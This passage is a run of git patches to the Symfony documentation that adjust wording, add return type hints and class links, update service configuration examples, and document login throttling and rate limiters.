+            // do something with the message
+        }
+    }
+
+
 Development & Debugging
 -----------------------
 

From f4202ee0d7471c4add9836bc447df1eb4842d942 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 11 Aug 2022 17:50:38 +0200
Subject: [PATCH 2222/5766] Tweaks

---
 mailer.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index ec1ef2e8f60..9f81cedc91a 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1024,13 +1024,14 @@ you have a transport called ``async``, you can route the message there:
 Thanks to this, instead of being delivered immediately, messages will be sent to
 the transport to be handled later (see :ref:`messenger-worker`).
 
-Events
-------
+Mailer Events
+-------------
 
 MessageEvent
 ~~~~~~~~~~~~
 
-The MessageEvent allows the transformation of a Message and the Envelope before the email is sent::
+``MessageEvent`` allows to change the Message and the Envelope before the email
+is sent::
 
     use Symfony\Component\EventDispatcher\EventSubscriberInterface;
     use Symfony\Component\Mailer\Event\MessageEvent;
@@ -1056,7 +1057,6 @@ The MessageEvent allows the transformation of a Message and the Envelope before
         }
     }
 
-
 Development & Debugging
 -----------------------
 

From 74e436bf8e83c2f6a60403986adfa2f0cc370542 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 12 Aug 2022 10:01:21 +0200
Subject: [PATCH 2223/5766] [Console] Minor grammar fix

---
 console/coloring.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/console/coloring.rst b/console/coloring.rst
index f312753af51..a481b7650ff 100644
--- a/console/coloring.rst
+++ b/console/coloring.rst
@@ -58,7 +58,7 @@ Any hex color is supported for foreground and background colors. Besides that, t
 
     .. versionadded:: 6.2
 
-        The support of 256-color terminals was introduced in Symfony 6.2.
+        The support for 256-color terminals was introduced in Symfony 6.2.
 
 And available options are: ``bold``, ``underscore``, ``blink``, ``reverse``
 (enables the "reverse video" mode where the background and foreground colors

From 2558f616236b41ce2b6feb1f2f83ab464bb5b5bb Mon Sep 17 00:00:00 2001
From: mohamed gasmi <mohamed.gasmi.info@gmail.com>
Date: Sat, 13 Aug 2022 11:24:22 +0200
Subject: [PATCH 2224/5766] [Lock] Add classes's link

Add link to Link and Key classes
---
 components/lock.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/lock.rst b/components/lock.rst
index 60b53a3a906..c64a5cc2271 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -77,7 +77,7 @@ method can be safely called repeatedly, even if the lock is already acquired.
 Serializing Locks
 ------------------
 
-The ``Key`` contains the state of the ``Lock`` and can be serialized. This
+The :class:`Symfony\\Component\\Lock\\Key` contains the state of the :class:`Symfony\\Component\\Lock\\Lock` and can be serialized. This
 allows the user to begin a long job in a process by acquiring the lock, and
 continue the job in another process using the same lock::
 

From 3826710ce84f09dec8a455dd73b6a72f59fff848 Mon Sep 17 00:00:00 2001
From: mohamed gasmi <mohamed.gasmi.info@gmail.com>
Date: Sat, 13 Aug 2022 13:33:40 +0200
Subject: [PATCH 2225/5766] [Lock] Specify default ttl

---
 components/lock.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/lock.rst b/components/lock.rst
index 60b53a3a906..988d7b7af97 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -145,7 +145,7 @@ job; if it's too long and the process crashes before calling the ``release()``
 method, the resource will stay locked until the timeout::
 
     // ...
-    // create an expiring lock that lasts 30 seconds
+    // create an expiring lock that lasts 30 seconds (default is 300.0)
     $lock = $factory->createLock('charts-generation', 30);
 
     if (!$lock->acquire()) {

From 7261de9c1d025b78b6ed8121a8d784c864ce5ab2 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sat, 13 Aug 2022 13:51:18 +0200
Subject: [PATCH 2226/5766] Trying to fix code sample syntax

---
 security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index 2cf429e6dd4..2098b9c1efd 100644
--- a/security.rst
+++ b/security.rst
@@ -1746,7 +1746,7 @@ Next, you need to create a route for this URL (but not a controller):
             <route id="app_logout" path="/logout" methods="GET"/>
         </routes>
 
-    ..  code-block:: php
+    .. code-block:: php
 
         // config/routes.php
         use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;

From b89847e83d3a467b2969c0cd3a13a4fccac599a0 Mon Sep 17 00:00:00 2001
From: Alexander Schranz <alexander@sulu.io>
Date: Sat, 13 Aug 2022 21:21:28 +0200
Subject: [PATCH 2227/5766] Update service documentation with udpate recipe
 files

---
 service_container.rst | 35 +++++++++++++++++++----------------
 1 file changed, 19 insertions(+), 16 deletions(-)

diff --git a/service_container.rst b/service_container.rst
index ddb81243ccd..8eaed328cc0 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -170,8 +170,11 @@ each time you ask for it.
                 # makes classes in src/ available to be used as services
                 # this creates a service per class whose id is the fully-qualified class name
                 App\:
-                    resource: '../src/*'
-                    exclude: '../src/{DependencyInjection,Entity,Migrations,Tests,Kernel.php}'
+                    resource: '../src/'
+                    exclude:
+                        - '../src/DependencyInjection/'
+                        - '../src/Entity/'
+                        - '../src/Kernel.php'
 
                 # ...
 
@@ -190,7 +193,7 @@ each time you ask for it.
 
                     <!-- makes classes in src/ available to be used as services -->
                     <!-- this creates a service per class whose id is the fully-qualified class name -->
-                    <prototype namespace="App\" resource="../src/*" exclude="../src/{DependencyInjection,Entity,Migrations,Tests,Kernel.php}"/>
+                    <prototype namespace="App\" resource="../src/" exclude="../src/{DependencyInjection,Entity,Kernel.php}"/>
 
                     <!-- ... -->
 
@@ -212,8 +215,8 @@ each time you ask for it.
 
                 // makes classes in src/ available to be used as services
                 // this creates a service per class whose id is the fully-qualified class name
-                $services->load('App\\', '../src/*')
-                    ->exclude('../src/{DependencyInjection,Entity,Migrations,Tests,Kernel.php}');
+                $services->load('App\\', '../src/')
+                    ->exclude('../src/{DependencyInjection,Entity,Kernel.php}');
             };
 
     .. tip::
@@ -425,8 +428,8 @@ pass here. No problem! In your configuration, you can explicitly set this argume
 
             # same as before
             App\:
-                resource: '../src/*'
-                exclude: '../src/{DependencyInjection,Entity,Migrations,Tests,Kernel.php}'
+                resource: '../src/'
+                exclude: '../src/{DependencyInjection,Entity,Kernel.php}'
 
             # explicitly configure the service
             App\Service\SiteUpdateManager:
@@ -448,8 +451,8 @@ pass here. No problem! In your configuration, you can explicitly set this argume
                 <!-- Same as before -->
 
                 <prototype namespace="App\"
-                    resource="../src/*"
-                    exclude="../src/{DependencyInjection,Entity,Migrations,Tests,Kernel.php}"
+                    resource="../src/"
+                    exclude="../src/{DependencyInjection,Entity,Kernel.php}"
                 />
 
                 <!-- Explicitly configure the service -->
@@ -470,8 +473,8 @@ pass here. No problem! In your configuration, you can explicitly set this argume
             // ...
 
             // same as before
-            $services->load('App\\', '../src/*')
-                ->exclude('../src/{DependencyInjection,Entity,Migrations,Tests,Kernel.php}');
+            $services->load('App\\', '../src/')
+                ->exclude('../src/{DependencyInjection,Entity,Kernel.php}');
 
             $services->set(SiteUpdateManager::class)
                 ->arg('$adminEmail', 'manager@example.com')
@@ -956,8 +959,8 @@ key. For example, the default Symfony configuration contains this:
             # makes classes in src/ available to be used as services
             # this creates a service per class whose id is the fully-qualified class name
             App\:
-                resource: '../src/*'
-                exclude: '../src/{DependencyInjection,Entity,Migrations,Tests,Kernel.php}'
+                resource: '../src/'
+                exclude: '../src/{DependencyInjection,Entity,Kernel.php}'
 
     .. code-block:: xml
 
@@ -971,7 +974,7 @@ key. For example, the default Symfony configuration contains this:
             <services>
                 <!-- ... same as before -->
 
-                <prototype namespace="App\" resource="../src/*" exclude="../src/{DependencyInjection,Entity,Migrations,Tests,Kernel.php}"/>
+                <prototype namespace="App\" resource="../src/" exclude="../src/{DependencyInjection,Entity,Kernel.php}"/>
             </services>
         </container>
 
@@ -985,8 +988,8 @@ key. For example, the default Symfony configuration contains this:
 
             // makes classes in src/ available to be used as services
             // this creates a service per class whose id is the fully-qualified class name
-            $services->load('App\\', '../src/*')
-                ->exclude('../src/{DependencyInjection,Entity,Migrations,Tests,Kernel.php}');
+            $services->load('App\\', '../src/')
+                ->exclude('../src/{DependencyInjection,Entity,Kernel.php}');
         };
 
 .. tip::

From 98f9219205163447c578a06d801c654a407274e3 Mon Sep 17 00:00:00 2001
From: mohamed gasmi <mohamed.gasmi.info@gmail.com>
Date: Sun, 14 Aug 2022 13:10:36 +0200
Subject: [PATCH 2228/5766] [Routing] add missing action return hints

Add missing return hints
---
 routing.rst | 16 ++++++++--------
 1 file changed, 8 insertions(+), 8 deletions(-)

diff --git a/routing.rst b/routing.rst
index afe5a5d790d..8f98f8a6e12 100644
--- a/routing.rst
+++ b/routing.rst
@@ -80,7 +80,7 @@ do so, create a :doc:`controller class </controller>` like the following:
             /**
              * @Route("/blog", name="blog_list")
              */
-            public function list()
+            public function list(): Response
             {
                 // ...
             }
@@ -97,7 +97,7 @@ do so, create a :doc:`controller class </controller>` like the following:
         class BlogController extends AbstractController
         {
             #[Route('/blog', name: 'blog_list')]
-            public function list()
+            public function list(): Response
             {
                 // ...
             }
@@ -1045,7 +1045,7 @@ optional ``priority`` parameter in those routes to control their priority:
              *
              * @Route("/blog/{slug}", name="blog_show")
              */
-            public function show(string $slug)
+            public function show(string $slug): Response
             {
                 // ...
             }
@@ -1055,7 +1055,7 @@ optional ``priority`` parameter in those routes to control their priority:
              *
              * @Route("/blog/list", name="blog_list", priority=2)
              */
-            public function list()
+            public function list(): Response
             {
                 // ...
             }
@@ -1075,7 +1075,7 @@ optional ``priority`` parameter in those routes to control their priority:
              * This route has a greedy pattern and is defined first.
              */
             #[Route('/blog/{slug}', name: 'blog_show')]
-            public function show(string $slug)
+            public function show(string $slug): Response
             {
                 // ...
             }
@@ -1084,7 +1084,7 @@ optional ``priority`` parameter in those routes to control their priority:
              * This route could not be matched without defining a higher priority than 0.
              */
             #[Route('/blog/list', name: 'blog_list', priority: 2)]
-            public function list()
+            public function list(): Response
             {
                 // ...
             }
@@ -2493,7 +2493,7 @@ session shouldn't be used when matching a request:
             /**
              * @Route("/", name="homepage", stateless=true)
              */
-            public function homepage()
+            public function homepage(): Response
             {
                 // ...
             }
@@ -2510,7 +2510,7 @@ session shouldn't be used when matching a request:
         class MainController extends AbstractController
         {
             #[Route('/', name: 'homepage', stateless: true)]
-            public function homepage()
+            public function homepage(): Response
             {
                 // ...
             }

From 3e95b3e8f821a585fa46a4fecd236da2f621a449 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sun, 14 Aug 2022 15:19:45 +0200
Subject: [PATCH 2229/5766] Adding missing `use`

---
 security/custom_authenticator.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst
index 4e38e01e82b..6865eb28f01 100644
--- a/security/custom_authenticator.rst
+++ b/security/custom_authenticator.rst
@@ -261,6 +261,7 @@ The following credential classes are supported by default:
 :class:`Symfony\\Component\\Security\\Http\\Authenticator\\Passport\\Credentials\\CustomCredentials`
     Allows a custom closure to check credentials::
 
+        use Symfony\Component\Security\Core\User\UserInterface;
         use Symfony\Component\Security\Http\Authenticator\Passport\Credentials\CustomCredentials;
 
         // ...

From f72042d261fddd89dd7689d7348f2832d055f153 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sun, 14 Aug 2022 17:01:04 +0200
Subject: [PATCH 2230/5766] Adding type hint

---
 security/custom_authenticator.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst
index 4e38e01e82b..b87fd164c1f 100644
--- a/security/custom_authenticator.rst
+++ b/security/custom_authenticator.rst
@@ -239,7 +239,7 @@ using :ref:`the user provider <security-user-providers>`::
                 // ...
 
                 return new Passport(
-                    new UserBadge($email, function ($userIdentifier) {
+                    new UserBadge($email, function (string $userIdentifier) {
                         return $this->userRepository->findOneBy(['email' => $userIdentifier]);
                     }),
                     $credentials

From cf1cd12e7a8f0af41545f07909610fcc3618157f Mon Sep 17 00:00:00 2001
From: mohamed gasmi <mohamed.gasmi.info@gmail.com>
Date: Sun, 14 Aug 2022 18:01:06 +0200
Subject: [PATCH 2231/5766] [Console] add SignalableCommandInterface link

Add SignalableCommandInterface link & return hint for handleSignal
---
 components/console/events.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/console/events.rst b/components/console/events.rst
index 6b7078b2c11..100bc0084bc 100644
--- a/components/console/events.rst
+++ b/components/console/events.rst
@@ -190,7 +190,7 @@ Listeners receive a
 
 If you use the Console component inside a Symfony application, commands can
 handle signals themselves. To do so, implement the
-``SignalableCommandInterface`` and subscribe to one or more signals::
+:class:`Symfony\\Component\\Console\\Command\\SignalableCommandInterface` and subscribe to one or more signals::
 
     // src/Command/SomeCommand.php
     namespace App\Command;
@@ -208,7 +208,7 @@ handle signals themselves. To do so, implement the
             return [\SIGINT, \SIGTERM];
         }
 
-        public function handleSignal(int $signal)
+        public function handleSignal(int $signal): void
         {
             if (\SIGINT === $signal) {
                 // ...

From 4361e9e16d57190daf9193d94a144f2347e6d6a4 Mon Sep 17 00:00:00 2001
From: mohamed gasmi <mohamed.gasmi.info@gmail.com>
Date: Sun, 14 Aug 2022 20:53:37 +0200
Subject: [PATCH 2232/5766] [Console] Add return for execute()

Return value of execute() must be of the type int
---
 components/console/helpers/table.rst | 8 ++++++--
 1 file changed, 6 insertions(+), 2 deletions(-)

diff --git a/components/console/helpers/table.rst b/components/console/helpers/table.rst
index 8af80055536..7c75b4808db 100644
--- a/components/console/helpers/table.rst
+++ b/components/console/helpers/table.rst
@@ -28,7 +28,7 @@ set the headers, set the rows and then render the table::
 
     class SomeCommand extends Command
     {
-        public function execute(InputInterface $input, OutputInterface $output)
+        public function execute(InputInterface $input, OutputInterface $output): int
         {
             $table = new Table($output);
             $table
@@ -41,6 +41,8 @@ set the headers, set the rows and then render the table::
                 ])
             ;
             $table->render();
+            
+            return Command::SUCCESS;
         }
     }
 
@@ -406,7 +408,7 @@ The only requirement to append rows is that the table must be rendered inside a
 
     class SomeCommand extends Command
     {
-        public function execute(InputInterface $input, OutputInterface $output)
+        public function execute(InputInterface $input, OutputInterface $output): int
         {
             $section = $output->section();
             $table = new Table($section);
@@ -415,6 +417,8 @@ The only requirement to append rows is that the table must be rendered inside a
             $table->render();
 
             $table->appendRow(['Symfony']);
+            
+            return Command::SUCCESS;
         }
     }
 

From 11b4dbdab659fa345598159b1a866ec383e94850 Mon Sep 17 00:00:00 2001
From: mohamed gasmi <mohamed.gasmi.info@gmail.com>
Date: Sun, 14 Aug 2022 22:59:47 +0200
Subject: [PATCH 2233/5766] [Console] Add return hint

Add return hint for execute() & add return Command::SUCCESS as return.
---
 components/console/helpers/questionhelper.rst | 68 +++++++++++++++----
 1 file changed, 55 insertions(+), 13 deletions(-)

diff --git a/components/console/helpers/questionhelper.rst b/components/console/helpers/questionhelper.rst
index ff15953dc06..a4d61352745 100644
--- a/components/console/helpers/questionhelper.rst
+++ b/components/console/helpers/questionhelper.rst
@@ -34,7 +34,7 @@ the following to your command::
     {
         // ...
 
-        public function execute(InputInterface $input, OutputInterface $output)
+        public function execute(InputInterface $input, OutputInterface $output): int
         {
             $helper = $this->getHelper('question');
             $question = new ConfirmationQuestion('Continue with this action?', false);
@@ -75,12 +75,16 @@ if you want to know a bundle name, you can add this to your command::
     use Symfony\Component\Console\Question\Question;
 
     // ...
-    public function execute(InputInterface $input, OutputInterface $output)
+    public function execute(InputInterface $input, OutputInterface $output): int
     {
         // ...
         $question = new Question('Please enter the name of the bundle', 'AcmeDemoBundle');
 
         $bundleName = $helper->ask($input, $output, $question);
+        
+        // ... do something with the bundleName
+        
+        return Commande::SUCCESS;
     }
 
 The user will be asked "Please enter the name of the bundle". They can type
@@ -99,7 +103,7 @@ from a predefined list::
     use Symfony\Component\Console\Question\ChoiceQuestion;
 
     // ...
-    public function execute(InputInterface $input, OutputInterface $output)
+    public function execute(InputInterface $input, OutputInterface $output): int
     {
         // ...
         $helper = $this->getHelper('question');
@@ -115,6 +119,8 @@ from a predefined list::
         $output->writeln('You have just selected: '.$color);
 
         // ... do something with the color
+        
+        return Commande::SUCCESS;
     }
 
 .. versionadded:: 5.2
@@ -142,7 +148,7 @@ this use :method:`Symfony\\Component\\Console\\Question\\ChoiceQuestion::setMult
     use Symfony\Component\Console\Question\ChoiceQuestion;
 
     // ...
-    public function execute(InputInterface $input, OutputInterface $output)
+    public function execute(InputInterface $input, OutputInterface $output): int
     {
         // ...
         $helper = $this->getHelper('question');
@@ -155,6 +161,8 @@ this use :method:`Symfony\\Component\\Console\\Question\\ChoiceQuestion::setMult
 
         $colors = $helper->ask($input, $output, $question);
         $output->writeln('You have just selected: ' . implode(', ', $colors));
+        
+        return Commande::SUCCESS;
     }
 
 Now, when the user enters ``1,2``, the result will be:
@@ -172,7 +180,7 @@ will be autocompleted as the user types::
     use Symfony\Component\Console\Question\Question;
 
     // ...
-    public function execute(InputInterface $input, OutputInterface $output)
+    public function execute(InputInterface $input, OutputInterface $output): int
     {
         // ...
         $helper = $this->getHelper('question');
@@ -182,6 +190,10 @@ will be autocompleted as the user types::
         $question->setAutocompleterValues($bundles);
 
         $bundleName = $helper->ask($input, $output, $question);
+        
+        // ... do something with the bundleName
+        
+        return Commande::SUCCESS;
     }
 
 In more complex use cases, it may be necessary to generate suggestions on the
@@ -191,7 +203,7 @@ provide a callback function to dynamically generate suggestions::
     use Symfony\Component\Console\Question\Question;
 
     // ...
-    public function execute(InputInterface $input, OutputInterface $output)
+    public function execute(InputInterface $input, OutputInterface $output): int
     {
         $helper = $this->getHelper('question');
 
@@ -217,6 +229,10 @@ provide a callback function to dynamically generate suggestions::
         $question->setAutocompleterCallback($callback);
 
         $filePath = $helper->ask($input, $output, $question);
+        
+        // ... do something with the filePath
+        
+        return Commande::SUCCESS;
     }
 
 Do not Trim the Answer
@@ -228,7 +244,7 @@ You can also specify if you want to not trim the answer by setting it directly w
     use Symfony\Component\Console\Question\Question;
 
     // ...
-    public function execute(InputInterface $input, OutputInterface $output)
+    public function execute(InputInterface $input, OutputInterface $output): int
     {
         // ...
         $helper = $this->getHelper('question');
@@ -237,6 +253,10 @@ You can also specify if you want to not trim the answer by setting it directly w
         $question->setTrimmable(false);
         // if the users inputs 'elsa ' it will not be trimmed and you will get 'elsa ' as value
         $name = $helper->ask($input, $output, $question);
+        
+        // ... do something with the name
+        
+        return Commande::SUCCESS;
     }
 
 Accept Multiline Answers
@@ -255,7 +275,7 @@ the response to a question should allow multiline answers by passing ``true`` to
     use Symfony\Component\Console\Question\Question;
 
     // ...
-    public function execute(InputInterface $input, OutputInterface $output)
+    public function execute(InputInterface $input, OutputInterface $output): int
     {
         // ...
         $helper = $this->getHelper('question');
@@ -264,6 +284,10 @@ the response to a question should allow multiline answers by passing ``true`` to
         $question->setMultiline(true);
 
         $answer = $helper->ask($input, $output, $question);
+        
+        // ... do something with the answer
+        
+        return Commande::SUCCESS;
     }
 
 Multiline questions stop reading user input after receiving an end-of-transmission
@@ -278,7 +302,7 @@ convenient for passwords::
     use Symfony\Component\Console\Question\Question;
 
     // ...
-    public function execute(InputInterface $input, OutputInterface $output)
+    public function execute(InputInterface $input, OutputInterface $output): int
     {
         // ...
         $helper = $this->getHelper('question');
@@ -288,6 +312,10 @@ convenient for passwords::
         $question->setHiddenFallback(false);
 
         $password = $helper->ask($input, $output, $question);
+        
+        // ... do something with the password
+        
+        return Commande::SUCCESS;
     }
 
 .. caution::
@@ -311,13 +339,15 @@ convenient for passwords::
         use Symfony\Component\Console\Question\ChoiceQuestion;
 
         // ...
-        public function execute(InputInterface $input, OutputInterface $output)
+        public function execute(InputInterface $input, OutputInterface $output): int
         {
             // ...
             $helper = $this->getHelper('question');
             QuestionHelper::disableStty();
 
             // ...
+            
+            return Commande::SUCCESS;
         }
 
 Normalizing the Answer
@@ -333,7 +363,7 @@ method::
     use Symfony\Component\Console\Question\Question;
 
     // ...
-    public function execute(InputInterface $input, OutputInterface $output)
+    public function execute(InputInterface $input, OutputInterface $output): int
     {
         // ...
         $helper = $this->getHelper('question');
@@ -345,6 +375,10 @@ method::
         });
 
         $bundleName = $helper->ask($input, $output, $question);
+        
+        // ... do something with the bundleName
+        
+        return Commande::SUCCESS;
     }
 
 .. caution::
@@ -367,7 +401,7 @@ method::
     use Symfony\Component\Console\Question\Question;
 
     // ...
-    public function execute(InputInterface $input, OutputInterface $output)
+    public function execute(InputInterface $input, OutputInterface $output): int
     {
         // ...
         $helper = $this->getHelper('question');
@@ -385,6 +419,10 @@ method::
         $question->setMaxAttempts(2);
 
         $bundleName = $helper->ask($input, $output, $question);
+        
+        // ... do something with the bundleName
+        
+        return Commande::SUCCESS;
     }
 
 The ``$validator`` is a callback which handles the validation. It should
@@ -423,7 +461,7 @@ You can also use a validator with a hidden question::
     use Symfony\Component\Console\Question\Question;
 
     // ...
-    public function execute(InputInterface $input, OutputInterface $output)
+    public function execute(InputInterface $input, OutputInterface $output): int
     {
         // ...
         $helper = $this->getHelper('question');
@@ -443,6 +481,10 @@ You can also use a validator with a hidden question::
         $question->setMaxAttempts(20);
 
         $password = $helper->ask($input, $output, $question);
+        
+        // ... do something with the password
+        
+        return Commande::SUCCESS;
     }
 
 Testing a Command that Expects Input

From b325b4fbeb087928b42855e834f8ef7c8c3f987f Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sun, 14 Aug 2022 23:05:41 +0200
Subject: [PATCH 2234/5766] Deleting duplicate "default"

Since you cannot configure the ``5 * max_attempts`` part, this is an unnecessary duplication.
---
 security.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/security.rst b/security.rst
index 2cf429e6dd4..78f1a3bb52a 100644
--- a/security.rst
+++ b/security.rst
@@ -1470,7 +1470,7 @@ You must enable this using the ``login_throttling`` setting:
 
     The ``login_throttling.interval`` option was introduced in Symfony 5.3.
 
-By default, login attempts are limited on ``max_attempts`` (default: 5)
+Login attempts are limited on ``max_attempts`` (default: 5)
 failed requests for ``IP address + username`` and ``5 * max_attempts``
 failed requests for ``IP address``. The second limit protects against an
 attacker using multiple usernames from bypassing the first limit, without

From aabb62e72fc8173f454efe82564ece273f138dbc Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Mon, 15 Aug 2022 00:50:08 +0200
Subject: [PATCH 2235/5766] Removing 2 distracting scenarios

Reason: Too many numbers are only distracting from the message - anybody can image that all numbers are just arbitrary examples...

Other problem: The axis legends "1 hour window" in the SVG are overlapping: https://symfony.com/doc/5.4/rate_limiter.html#fixed-window-rate-limiter
Maybe either reduce the font size, or reword to just "window"
---
 rate_limiter.rst | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/rate_limiter.rst b/rate_limiter.rst
index 65a0243e5e8..a5b73ac4735 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -35,8 +35,7 @@ Fixed Window Rate Limiter
 ~~~~~~~~~~~~~~~~~~~~~~~~~
 
 This is the simplest technique and it's based on setting a limit for a given
-interval of time (e.g. 5,000 requests per hour or 3 login attempts every 15
-minutes).
+interval of time.
 
 In the diagram below, the limit is set to "5 tokens per hour". Each window
 starts at the first hit (i.e. 10:15, 11:30 and 12:30). As soon as there are
@@ -48,11 +47,11 @@ squares).
     <object data="_images/rate_limiter/fixed_window.svg" type="image/svg+xml"></object>
 
 Its main drawback is that resource usage is not evenly distributed in time and
-it can overload the server at the window edges. In the previous example,
+it can overload the server at the window edges. In this example,
 there were 6 accepted requests between 11:00 and 12:00.
 
 This is more significant with bigger limits. For instance, with 5,000 requests
-per hour, a user could make the 4,999 requests in the last minute of some
+per hour, a user could make 4,999 requests in the last minute of some
 hour and another 5,000 requests during the first minute of the next hour,
 making 9,999 requests in total in two minutes and possibly overloading the
 server. These periods of excessive usage are called "bursts".

From 62c42202fd4b9dfa84da93ea6940f82fae3ed15d Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Mon, 15 Aug 2022 01:32:43 +0200
Subject: [PATCH 2236/5766] Adding note box about valid values for "interval"

Copied from https://symfony.com/doc/5.4/rate_limiter.html#configuration
---
 security.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/security.rst b/security.rst
index 2cf429e6dd4..d3ec2537693 100644
--- a/security.rst
+++ b/security.rst
@@ -1466,6 +1466,12 @@ You must enable this using the ``login_throttling`` setting:
             ;
         };
 
+.. note::
+
+    The value of the ``interval`` option must be a number followed by any of the
+    units accepted by the `PHP date relative formats`_ (e.g. ``3 seconds``,
+    ``10 hours``, ``1 day``, etc.)
+
 .. versionadded:: 5.3
 
     The ``login_throttling.interval`` option was introduced in Symfony 5.3.

From 9dfb4b5f446cdce4375313b821926fdee9fdc757 Mon Sep 17 00:00:00 2001
From: Andy Palmer <palmer.andy@gmail.com>
Date: Fri, 12 Aug 2022 12:53:03 +0100
Subject: [PATCH 2237/5766] Typo fix

---
 best_practices.rst | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/best_practices.rst b/best_practices.rst
index dcc0d9eb3f2..798cb08572d 100644
--- a/best_practices.rst
+++ b/best_practices.rst
@@ -88,8 +88,10 @@ application behavior.
 :ref:`Use env vars in your project <config-env-vars>` to define these options
 and create multiple ``.env`` files to :ref:`configure env vars per environment <config-dot-env>`.
 
-Use Secret for Sensitive Information
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+.. _use-secret-for-sensitive-information:
+
+Use Secrets for Sensitive Information
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 When your application has sensitive configuration - like an API key - you should
 store those securely via :doc:`Symfony’s secrets management system </configuration/secrets>`.

From 250f9c2218c08caaf9523f4852adbbf7c78a7e1e Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Mon, 15 Aug 2022 11:06:32 +0200
Subject: [PATCH 2238/5766] [#17180] add missing link target

---
 security.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/security.rst b/security.rst
index c6182d7aa07..f9d46f9fe70 100644
--- a/security.rst
+++ b/security.rst
@@ -2714,3 +2714,4 @@ Authorization (Denying Access)
 .. _`SymfonyCastsVerifyEmailBundle`: https://github.com/symfonycasts/verify-email-bundle
 .. _`HTTP Basic authentication`: https://en.wikipedia.org/wiki/Basic_access_authentication
 .. _`Login CSRF attacks`: https://en.wikipedia.org/wiki/Cross-site_request_forgery#Forging_login_requests
+.. _`PHP date relative formats`: https://www.php.net/datetime.formats.relative

From 02bf0be1aa0f3c0660332edf42e5c9b72fa00ff2 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Mon, 15 Aug 2022 11:19:38 +0200
Subject: [PATCH 2239/5766] add missing return statement

---
 components/console/helpers/questionhelper.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/components/console/helpers/questionhelper.rst b/components/console/helpers/questionhelper.rst
index a4d61352745..863120dd52f 100644
--- a/components/console/helpers/questionhelper.rst
+++ b/components/console/helpers/questionhelper.rst
@@ -42,6 +42,10 @@ the following to your command::
             if (!$helper->ask($input, $output, $question)) {
                 return Command::SUCCESS;
             }
+
+            // ... do something here
+
+            return Command::SUCCESS;
         }
     }
 

From 4292c6538a6a1308ad10573c5d971319a1285543 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Sun, 14 Aug 2022 18:01:59 +0200
Subject: [PATCH 2240/5766] Adding info about login throttling

---
 rate_limiter.rst                  | 2 +-
 security.rst                      | 2 ++
 security/custom_authenticator.rst | 5 +++++
 3 files changed, 8 insertions(+), 1 deletion(-)

diff --git a/rate_limiter.rst b/rate_limiter.rst
index 65a0243e5e8..315f8c23428 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -11,7 +11,7 @@ defensive measure to protect services from excessive use (intended or not) and
 maintain their availability. It's also useful to control your internal or
 outbound processes (e.g. limit the number of simultaneously processed messages).
 
-Symfony uses these rate limiters in built-in features like "login throttling",
+Symfony uses these rate limiters in built-in features like :ref:`login throttling <security-login-throttling>`,
 which limits how many failed login attempts a user can make in a given period of
 time, but you can use them for your own features too.
 
diff --git a/security.rst b/security.rst
index 2cf429e6dd4..274aace86b4 100644
--- a/security.rst
+++ b/security.rst
@@ -1368,6 +1368,8 @@ Enable remote user authentication using the ``remote_user`` key:
     :ref:`the configuration reference <reference-security-firewall-remote-user>`
     for more details.
 
+.. _security-login-throttling:
+
 Limiting Login Attempts
 ~~~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/security/custom_authenticator.rst b/security/custom_authenticator.rst
index 4e38e01e82b..f78560d8340 100644
--- a/security/custom_authenticator.rst
+++ b/security/custom_authenticator.rst
@@ -168,6 +168,11 @@ can define what happens in these cases:
     useful for e.g. login forms, where the login controller is run again
     with the login errors.
 
+    If you're using :ref:`login throttling <security-login-throttling>`,
+    you can check if ``$exception`` is an instance of
+    :class:`Symfony\\Component\\Security\\Core\\Exception\\TooManyLoginAttemptsAuthenticationException`
+    (e.g. to display an appropriate message).
+
     **Caution**: Never use ``$exception->getMessage()`` for ``AuthenticationException``
     instances. This message might contain sensitive information that you
     don't want to be publicly exposed. Instead, use ``$exception->getMessageKey()``

